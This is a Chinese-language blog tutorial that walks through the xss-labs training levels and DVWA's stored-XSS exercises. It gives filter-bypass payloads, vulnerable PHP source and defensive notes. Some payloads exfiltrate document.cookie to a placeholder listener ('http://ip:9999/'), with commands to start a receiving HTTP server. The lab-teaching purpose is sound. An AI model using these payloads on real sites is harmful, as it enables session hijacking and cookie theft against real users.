Web安全中的XSS攻击详细教学,Xss-Labs靶场通关全教程
侧边栏壁纸
  • 累计撰写 185 篇文章
  • 累计收到 3 条评论

Web安全中的XSS攻击详细教学,Xss-Labs靶场通关全教程

xiaoyu
2025-05-18 / 0 评论 / 982 阅读 /
温馨提示:
本文最后更新于2026年04月10日,已超过76天没有更新,若内容或图片失效,请留言反馈。

漏洞原理

xss(cross site script)跨站脚本攻击,指的是攻击者往web页面插入恶意脚本代码,当用户浏览时,嵌入web页面里的脚本代码就会执行,从而达到恶意攻击用户的特殊目的,它主要分为俩种类型

  1. 存储型XSS(持久型):攻击者将恶意脚本存储在目标服务器上,每当用户访问受感染的页面时,恶意脚本就会执行。
  2. 反射型XSS(非持久型):攻击者诱使用户点击一个链接,该链接将恶意脚本作为输入传递给服务器,然后服务器将这个脚本反射回用户的浏览器执行。
  3. DOM型(非持久型):

漏洞危害

XSS攻击的常见目标是盗取用户的cookie和其他敏感信息,这些信息可以用来进行会话劫持、身份冒充等进一步攻击。如何防御?

  1. 输入验证:网站开发者需要对用户输入进行严格的验证和过滤,避免将不受信任的数据直接输出到HTML中。
  2. 输出编码:当将用户输入的数据输出到页面时,使用适当的编码方法(如HTML实体编码)来转义可能被浏览器解释为脚本的特殊字符。
  3. 对输出内容进行编码:在变量输出到HTML页面时,可以使用编码或转义的方式来防御XSS攻击。

漏洞复现

Upload-Labs靶场(1-20关)

image-20240612215742388

第一关(URL传参)

分析URL中的参数有个nanme

image-20240612220025399

根据XSS原理,注入恶意脚本,尝试注入payload

?name=<script>alert()</script>

image-20240612220325519

第二关(输入框注入)

尝试注入payload

<script>alert()</script>

image-20240612220558370

分析源码,红色框上面部分被转义了,没有什么绕过方法,但是下面部分,仔细看,如果我们嵌套一个反标签符号呢?payload如下

"><script>alert()</script><"

image-20240612220838099

image-20240612221303860

image-20240612221314671

第三关(事件注入)

尝试使用上一关的内容进行绕过,被转义,只能想想其他办法了

image-20240612221521377

JavaScript中有一个函数onfocus,用于输入框input,select,a标签获得焦点的事件

image-20240612221850638

这里我们给他一个函数即可,payload如下

' onfocus=javascript:alert() '

image-20240612222425014

此时再点击这个input框,使其获得焦点,触发onfocus事件

image-20240612222515544

第四关(引号类型)

使用上一关的结果进行注入,尝试失败

image-20240612222615662

分析源码,发现外围是双引号,双包单了,不符合javascript 的onfocus事件绑定

image-20240612222654588

切换payload为双引号即可

" onfocus=javascript:alert() "

提交payload后,需要点击input框,触发onfocus事件

image-20240612222943533

第五关(a标签注入)

尝试输入脚本标签,被强行切换为scr_ipt

image-20240612223244231

使用上一关的方法" onfocus=javascript:alert() ",事件名称也被强行转换了

image-20240612223453938

这里就要用到a标签href属性了,尝试注入

image-20240612223917373

分析源码,并无异常转换,只是少了个"><",构造payload"><a href="javascript:alert();">xx</a><"

image-20240612223900702

发现页面多了个标签,此时既可以点击此标签

image-20240612224341738

第五关,over!

image-20240612224417283

第六关(大小写绕过)

使用上一关结果,尝试注入"><a href="javascript:alert();">xx</a><"

image-20240612224609209

分析源码,href变成了hr_ef

image-20240612224640322

尝试onfocus绕过,失败

image-20240612224811256

尝试大小写,发现没有对大小写进行验证

//第一种,脚本注入
" ><SCRIPT>alert()</SCRIPT>< "
//第二种,焦点事件
" ONDOCUS=javascript:alert() "
//a标签href属性的
"> <a HREF=javascript:alert()>x</a> <"

image-20240612225123940

over!

第七关(双拼写)

一样,使用上一关方法尝试,发现此时对大小写也进行了验证。

image-20240612225527950

不难发现,这里面进行了小写转化,将检测出来的on,script,href给删掉了,但是没有关系,我们可以利用*双拼写*来绕过。

" ><sscriptcript>alert()</sscriptcript>< "

image-20240612225857143

第八关(Unicode编码)

尝试使用大小写

image-20240612230044566

失败,对字符进行了强行转换,而且使用了强制小写字母

image-20240612230105027

尝试使用双写,也以失败告终

image-20240612230253044

这里我们能利用href的隐藏属性自动Unicode解码,我们可以插入一段js伪协议

javascript:alert()

利用在线工具进行Unicode编码后得到,在线Unicode编码解码

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;

image-20240612231216260

image-20240612231249092

第九关(指定字符绕过)

先看看过滤了什么

" src data onfocus <script> <a href=javascript:alert()> 

image-20240612233001416

什么嘛,看源码

image-20240612233125151

当传入的参数不包含"http://"时,即其值为假(false),将触发if语句的执行。为了避免这种情况,我们需要在参数中添加"http://",并将其作为注释,以防止其被实际执行,这会影响到弹窗的显示。为了确保strpos函数能够返回一个数值,我们需要构造一个特定的输入(payload),使其满足函数的预期行为。比如:

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;/* <http://> */

image-20240612233740762

本章小结:插入指定内容(本关是http://)绕过检测,再将指定内容用注释符注释掉即可

第十关(属性修改)

a标签注入失败,

image-20240613091830703

看看网页源码,全部都在h2标签去了,看着下面还有这么多hidden的input,这谁顶得住啊。

image-20240613091908251

看后端源码吧

image-20240613092300717

它多了个get的参数,测试了好几遍,可以尝试这个参数,把后面的type="hidden"给干掉,或者给type="text"也行就可以让这个input显示出来,再让它获得焦点,触发onfocus事件。

level10.php?t_sort=" onfocus="javascript:alert()" type="
level10.php?t_sort=" onfocus="javascript:alert()" type="text

image-20240613093643554

第十一关(Referer)

老样子,使用上一关的payload,发现我们的参数被转义了

image-20240613094007132

检查源码使用,这个str11并没有使用htmlspecialchars()方式进行转换,那么这里就是注入点

image-20240613095350148

知识补充:

htmlspecialchars():一个PHP函数,用于将特殊字符转换为HTML实体。这个函数通常用于防止跨站脚本(XSS)攻击。

$_SERVER['HTTP_REFERER'] :链接到当前页面的前一页面的 URL 地址。(referer,推荐人)

$userInput = "<script>alert('xss');</script>";
$safeOutput = htmlspecialchars($userInput, ENT_QUOTES, 'UTF-8');
echo $safeOutput; // 输出: &lt;script&gt;alert(&#039;xss&#039;);&lt;/script&gt;

尝试注入RefererREFERER:<script>alert()</script>

image-20240613154538518

注入成功,但是他把我们的<> 这些尖括号给去掉了

image-20240613154629944

那么可以尝试使用onfocus事件,并且把隐藏的input给显示出来,payload如下

REFERER:" onfocus="javascript:alert()" type="text" "

over!

image-20240613155121147

第十二关(User-Agent)

上一关使用的referver,这一关我们猜测使用cookie,开始尝试

image-20240613155911490

发送请求,果断打开源码,尝试个鬼,用的user-agent

image-20240613155954404

尝试使用如下payload,添加到请求头后面

" onfocus="javascript:alert()" type="text" "

image-20240613160209621

image-20240613160321357

over!

第十三关(Cookie)

这关想都不要想,一定是Cookie!有人不服嘛,不服顺着网线来打死我 (´。✪ω✪。`)

image-20240613161352005

先查看源码,然后抓包,或者说,直接抓包

image-20240613161653344

俩个东西似曾相识哈,复制上一关的payload,开始注入

" onfocus="javascript:alert()" type="text" "

image-20240613161855188

鼠标点击input输入框,使其获得焦点,成功!

image-20240613161749399

第十四关

由于本关因*iframe*调用的文件地址失效,无法进行测试。

第十五关

来到了第十五关,直到看到如下图片,啊??????

image-20240613165504251

再看看源码,没有一点头绪啊,之前用的方法全部没作用了

image-20240613165609978

使用burp suite抓包试试。。。。。。

image-20240613165822952

无奈,只能看php源码了,有一个SRC参数,关键他还使用了htmlspecialchars()

image-20240613170222820

累了,煞了我吧

image-20240613170725536

看网上是这样子说的

这里有个html实体化函数在,没有删掉东西,所以不影响我们接下来的操作,我们可以包涵第一关并让第一关弹窗(注意,这里不能包涵那些直接弹窗的东西如,但是可以包涵那些标签的东西比如

标签等等,这些标签是能需要我们手动点击弹窗的),这里我们使用img标签,可参考XSS常见的触发标签,构造payload

?src='/level1.php?name=<img src=1 onmouseover=alert()>'

分析源码,他这里是对特殊符号进行了转义,比如 >使用&lt;,它并没有删掉,还是存在在html标签中的,也可以进行内含属性,根据他说的尝试使用img标签,并添加onmouseover 事件

image-20240613174020442

image-20240613174933741

语法如下

?src='/level1.php?name=<img src=1 onmouseover=alert()>'

image-20240613175337601

第十六关(回车%0a)

通过以上关卡我总结了一些关键字,便于测试

?keyword=" ' sRc DaTa OnFocus OnmOuseOver OnMouseDoWn P <sCriPt> <a hReF=javascript:alert()> &#106; 

都以失败告终。

image-20240613183700699

查看源码

image-20240613184531006

这里将` ,/,script,-都替换成了 ,所以a标签也不行,但是可以使用一个标签的标签(单标签)比如,,

,svg` 等。

这里使用<svg>onload事件,就是svg标签加载完成的事件,搭配上%0a即回车按钮,就比如

?keyword=<svg%0aonload=alert()>

渲染在网页上其实是这样的

<svg%0aonload=alert()>
  ||
<svg
onload=alert()>

image-20240613192752771

第十七关(embed)

测试注入关键字

?arg01=" ' sRc DaTa OnFocus OnmOuseOver OnMouseDoWn P <sCriPt> <a hReF=javascript:alert()>; &arg02=" ' sRc DaTa OnFocus OnmOuseOver OnMouseDoWn P <sCriPt> <a hReF=javascript:alert()>;

image-20240613194122230

发现事件名称和javascript脚本都没有被注释,尝试使用onload事件

%20onload=alert()%20""

image-20240613194310038

非常简单,完成,这里原本是一个未知文件显示在这里的,小编我直接修改成了这张图片,实现思路是一样的

第十八关(双参空格)

尝试任意字符,它将俩个参数用 = 号连接起来了

/level18.php?arg01=abavvvv&arg02=fdffffdf

image-20240613194623075

注入测试

" ' sRc DaTa OnFocus OnmOuseOver OnMouseDoWn P <sCriPt> <a hReF=javascript:alert()>; &arg02=" ' sRc DaTa OnFocus OnmOuseOver OnMouseDoWn P <sCriPt> <a hReF=javascript:alert()>;

image-20240613194824635

属性正常,和上一关一样,不过需要注意是第二个参数进行传值arg02

/level18.php?arg02= onmousedown=alert() //注意空格,这里使用的是鼠标点击事件

image-20240613195634140

第十九关

难搞,pass,不要问我为什么,可能环境不对,Flash xss了解一下就行,现在许多浏览器都用不上flash插件了

image-20240613202813362

第二十关

payload在这儿(也不起效果),你自个儿试试吧,这是原文,可能因为我的服务器是linux

https://blog.csdn.net/u014029795/article/details/103217680

?arg01=id&arg02=xss"))}catch(e){alert(1)}//%26width=123%26height=123

image-20240613203318033

存储型XSS(持久性XSS)

存储型XSS,又称持久性XSS,他们和反射性XSS最大的不同就是,攻击脚本将被永久地存放在目标服务器端(数据库,内存,文件系统等),下次请求目标页面时不用再提交XSS代码,又有点类似于Sql注入,但不同于Sql注入。

这种攻击多见于论坛,攻击者在发帖的过程中,将恶意脚本连同正常信息一起注入到帖子的内容之中。随着帖子被论坛服务器存储下来,恶意脚本也永久地被存放在论坛服务器的后端存储器中。当其它用户浏览这个被注入了恶意脚本的帖子的时候,恶意脚本则会在他们的浏览器中得到执行,从而受到了攻击。

持久型 XSS 的三大特点

  1. 持久性,植入在数据库中;
  2. 危害面广,甚至可以让用户机器变成 DDoS 攻击的肉鸡;
  3. 盗取用户敏感私密信息。

如何防御?

  1. 后端在入库前应该选择不相信任何前端数据,将所有的字段统一进行转义处理;
  2. 后端在输出给前端数据统一进行转义处理;
  3. 前端在渲染页面 DOM 的时候应该选择不相信任何后端数据,任何字段都需要做转义处理。

漏洞复现--DVWA

LOW

尝试注入JavaScript脚本

<script>alert()</script>

image-20240615204140603

执行正常注入成功

image-20240615204226430

尝试分析源码,完全没有对XSS的防护,另外对SQL注入的防护也不彻底。

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    //trim() 函数只能去除字符串的首尾字符,这里没有第二个参数,默认去除首尾空格
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    //stripslashes() 删除字符串中的反斜杠
    $message = stripslashes( $message );
    //mysqli_real_escape_string() 函数转义了特殊字符(包括NUL(ASCII 0)、n、r、、'、" 和 Control-Z),然后直接代入mysqli_query()函数来执行INSERT INTO的SQL语句。
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitize name input
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // 要执行的sql语句
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?>

这里还有一共攻击方式使用xss攻击获取cookie,payload如下

<script>document.write('<img src="http://ip:9999/'+document.cookie+'"/>')</script>

简单地起http协议的方法有两种:

(1)用python2:

python2 -m SimpleHTTPServer 8899

(2)用python3:

python3 -m http.server 8899

image-20240615212548644

注入payload

image-20240615212932065

成功获取cookie信息

image-20240615212834922

P.S. 测试的时候还发现每次点击浏览器的刷新键,都会再生成一个一条guestbook记录。这应该是low等级没有做防止表单重复提交的动作。

image-20240615213345831

Medium

尝试使用上一关的内容进行注入。

image-20240615204624991

注入失败

image-20240615204633162

盲注尝试第一个框,而且输入框限制了文字的输入长度

image-20240615204936880

似乎有效果

image-20240615204949014

尝试修改input框的输入长度限制

image-20240615205122365

payload如下

<a href="javascript:alert()">alert()</a>

image-20240615205216070

注入成功

image-20240615205310458

源码分析

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );
    // strip_tags() 函数用于从字符串中去除HTML和PHP标签
    // addslashes() 用于在字符串中的单引号(')、双引号(")、反斜杠()和NULL字符(�)前面添加反斜杠
    $message = strip_tags( addslashes( $message ) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    // htmlspecialchars() 用于将特殊字符转换为HTML实体,特殊字符包含&、<、>、'、"
    $message = htmlspecialchars( $message );

    // 将指定字符串替换为空
    $name = str_replace( '<script>', '', $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?>

仔细分析源码会发现,它只将message框的函数进行了一个strip_tags字符判断,但是并没有对name框的值进行判断,此处仅仅只是进行了删除script,所以我们可以可以尝试以下俩种方式:

  1. 双写绕过,例如<sc<script>ript>alert()<sc<script>ript>
  2. 大小写绕过,把标签名称改为<sCript>,任意字符大写即可

High

单标签

使用上一关的payload测试

image-20240615205604344

失败

image-20240615205620069

尝试半包,发现对字符进行了转义。

image-20240615205859549

尝试单个标签 img,并添加点击事件onclick,即可注入成功

<img src=1 onclick=alert() /><!--注意不要少了空格-->

image-20240615210502287

cookie

在单标签的情况进行获取cookie,payload如下

<img src=1 onclick="document.write('<img src="http://ip:9999/'+document.cookie+'"/>')" />

image-20240615222704367

http端口也没有监听到cookie信息尝试失败

image-20240615222919091

之后试了试svg,也不行在我百思不得其解的时候,想到了这么一个标签input,onchange事件

<input onchange="alert()">

image-20240615223348575

成功了!那么再利用这个input标签,去获取我们的dvwa站点的cookie信息

<input οnchange="document.write('<img src="http://ip:999/'+document.cookie+'"/>')">

emmmm,尝试了好几遍,注入失败了,不知道为什么

image-20240615225617204

看源码。。。。

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?>

image-20240615230514824

它使用 preg_replace 正则替换没思路了,有没有大佬帮帮我呀 T_T

IMPOSSIBLE

源码分析

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // checkToken() 检查token是否存在,使用csrf_token,防止CSRF攻击,还解决了表单重复提交的问题
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // 将参数俩边的空格去掉
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // 去掉message框的反斜杠
    $message = stripslashes( $message );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    // 将message框中的值转化为html实体
    $message = htmlspecialchars( $message );

    // 去掉name中的反斜杠
    $name = stripslashes( $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $name = htmlspecialchars( $name );

    // 执行sql语句,并使用了PDO进行了预编译,预防sql注入攻击
    $data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
    $data->bindParam( ':message', $message, PDO::PARAM_STR );
    $data->bindParam( ':name', $name, PDO::PARAM_STR );
    $data->execute();
}

// Generate Anti-CSRF token
generateSessionToken();

?>

原文链接:https://mp.weixin.qq.com/s/PKs1TTg8XyU-UBOZTY5Olg

原文链接https://mp.weixin.qq.com/s/RJcOZuscU07BEPgK89LSrQ

0

评论 (0)

取消